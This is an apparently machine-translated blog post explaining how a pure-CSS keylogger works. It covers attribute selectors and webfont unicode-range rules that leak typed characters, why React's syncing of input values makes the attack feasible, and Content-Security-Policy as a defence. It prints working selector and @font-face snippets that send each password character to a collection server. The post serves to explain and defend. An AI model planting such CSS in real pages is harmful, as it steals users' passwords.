preface

I saw this article on Hacker News A while ago: Show HN: A CSS Keylogger, and decided to take A look at it sometime and write A post about it.

This will cover the following:

  1. What is a keylogger
  2. Principles of the CSS KeyLogger
  3. CSS keylogger and React
  4. defense

Ok, let’s get started!

What is a Keylogger?

A Keylogger is a Keylogger, a type of malicious program that records all the keys pressed on your computer. I remember when I was a kid I used to write a super simple keylogger in VB6 that simply called the API provided by the system and recorded the corresponding keystrokes.

With this installed on the computer, everything you type is recorded. Of course, it also contains the account number and password. But if I remember correctly, the behavior detection of the antivirus software should block all of this, so don’t worry too much.

That was on the computer, but let’s narrow it down to the web.

If you want to add a KeyLogger to a page, you usually do it in JavaScript, and the code is super simple:

document.addEventListener('keydown', e => {
  console.log(e.key)
})
Copy the code

Just detect the KeyDown event and grab the key that was pressed.

However, if you have the ability to add JavaScript to the page you want to hack into, you usually don’t need to bother recording every keystroke. You can just steal cookies, tamper with the page, direct to the phishing page, or send the account password back to your Server when submitting. So keyLogger isn’t that useful.

Ok, so let’s say we can’t insert malicious JavaScript and can only change CSS, is there a way to make a Keylogger out of pure CSS?

There are, after all, so many things CSS can do.

Principles of pure CSS Keylogger

You can see the code directly (from maxChehab/CSS-keylogging) :

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
Copy the code

Amazing!!!!

If you’re not familiar with CSS selectors, here’s a refresher for you. If type is password input and value ends in a, the background image is loaded at http://localhost:3000/a.

Now we can change this string of CSS to add upper and lower case Letters, numbers, and even special symbols. What happens?

If I type abc123, the browser will send Request to:

  1. http://localhost:3000/a
  2. http://localhost:3000/b
  3. http://localhost:3000/c
  4. http://localhost:3000/1
  5. http://localhost:3000/2
  6. http://localhost:3000/3

In this way, your password is completely in the hands of the attacker.

This is the principle of the CSS Keylogger, using THE CSS Selector to load different urls, can send each word of the password to the Server.

It looks scary, right? Don’t worry, it’s not that easy.

Limitations of the CSS KeyLogger

Order cannot be guaranteed

Although you type in order, the order is not guaranteed when the Request arrives at the back end, so sometimes the order gets out of order. For example, abc123 becomes BCA213 or something like that.

But if we change the CSS Selector, we can actually solve this problem:

input[value^="a"] {
  background-image: url("http://localhost:3000/a_");
}
  
input[value*="aa"] {
  background-image: url("http://localhost:3000/aa");
}
  
input[value*="ab"] {
  background-image: url("http://localhost:3000/ab");
}
Copy the code

If it starts with a, we send a_, and then request every two characters for 26 letter and number combinations, such as abc123, which would be:

  1. a_
  2. ab
  3. bc
  4. c1
  5. 12
  6. 23

Even if the order is out of order, you can use this relationship to recombine the letters and still get the correct password order.

Duplicate characters do not send Request

Because the urls are loaded the same, duplicate characters will not load images and no new requests will be sent. So far as I know, the problem is unsolvable.

When you type, the value doesn’t change

This is actually the biggest problem with the CSS Keylogger.

When you enter information into an input, the value of the input does not change, so the above is completely irrelevant. You can see for yourself that the content of the input changes, but if you use the dev tool, you will see that the value does not change at all.

There are two solutions to this problem. The first is to use Webfont:


      
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log? a),local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log? b),local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log? c),local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log? d),local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
Copy the code

Keylogger using webfont with single character Unicode-range

So what if the value doesn’t change? The font will always be used. As long as you type a word, a corresponding Request is sent.

But there are two limitations to this approach:

  1. There is no guarantee of order, nor is there any solution to duplicate characters
  2. If the field is<input type='password' />Is of no use

(One interesting thing to note while looking into the second limitation is that Chrome and Firefox mark sites that have “input type for password, but no HTTPS” as insecure, So someone figured out how to avoid this detection by using normal input with a special font, and making the input field look like password (but type is not password), in which case you can use Webfont to attack.

The problem is that the value does not change. In other words, if the value changes when you input the value, this attack is very useful.

B: well… Is there a familiar feeling?

class NameForm extends React.Component {
  constructor(props) {
    super(props);
    this.state = {value: ' '};
  
    this.handleChange = this.handleChange.bind(this);
  }
  
  handleChange(event) {
    this.setState({value: event.target.value});
  }
  
  render() {
    return (
      <form>
        <label>
          Name:
          <input type="text" value={this.state.value} onChange={this.handleChange} />
        </label>
      </form>); }}Copy the code

React React

This pattern should be familiar if you’ve used React. When you type anything, you change the state and then the value of the state corresponds to the value of the input. So value is going to be whatever you type in.

React is a very popular front-end Library. You can imagine a lot of web pages using React, and it’s almost guaranteed that input values will be updated synchronously (almost, but there are a few that don’t).

To sum up, you can successfully implement a CSS Keylogger as long as your input value corresponds to the value inside (which you almost certainly will if you use React) and you have a place for someone to plug in custom CSS. There are some drawbacks (no way to detect duplicate characters), but it is conceptually feasible, albeit with less precision.

The React of response

The React community also discusses this Issue in the Issue Stop Syncing Value Attribute for Controlled Inputs #11896.

In fact, synchronizing an input value with an input value has always been a bit buggy. Mixpanel accidentally recorded sensitive information in the past because React kept updating values in sync.

The discussion about “Input attributes” and “properties” is very interesting. What is the difference between properties and attributes in HTML?

Attributes are basically the thing on top of your HTML, and properties stands for the actual value. The two don’t have to be equal, for example:

<input id="the-input" type="text" value="Name:">
Copy the code

If you grab the input attribute today, you’ll get Name:, but if you grab the input value today, you’ll get the value currently in the input field. So this attribute is the same as defaultValue, which is the defaultValue.

But in React, it’s going to synchronize the attribute with the value, so whatever your value is, the attribute is going to be.

From the looks of things discussed in React 17, there was an opportunity to remove this mechanism and get the two out of sync.

defense

React has not changed this yet, so the problem still exists. Besides React, there are probably other libraries that do similar things.

Client-side defense methods I won’t mention, basically install some Chrome Extension written by someone else, can help you detect CSS that conform to the pattern, etc., here is more worthy of mentioning the server-side defense.

The most obvious solution so far is content-security-policy, which is simply an HTTP Response header that determines what resources the browser can load, For example, disable inline code, load only resources in the same domain, etc.

The original purpose of this Header is to prevent XSS and attackers from loading external malicious code (such as our CSS Keylogger). Content-security-policy-http Headers Headers (content-security-policy-HTTP Headers)

conclusion

I have to say, it’s a really funny trick! When I first saw it, I was surprised to find a pure CSS Keylogger like this. It’s technically possible, but there are a lot of practical difficulties and a lot of prerequisites to do this kind of attack, but it’s worth watching for further developments.

In short, this article is to introduce this thing to the readers, I hope you have a harvest.

The resources

  1. Keylogger using webfont with single character unicode-range #24
  2. Stop syncing value attribute for controlled inputs #11896
  3. maxchehab/CSS-Keylogging
  4. Content-security-policy-http Headers (2)
  5. Stealing Data With CSS: Attack and Defense
  6. Bypassing Browser Security Warnings with Pseudo Password Fields
  7. CSS Keylogger (and why you shouldn’t worry about it)
  8. Mixpanel JS library has been harvesting passwords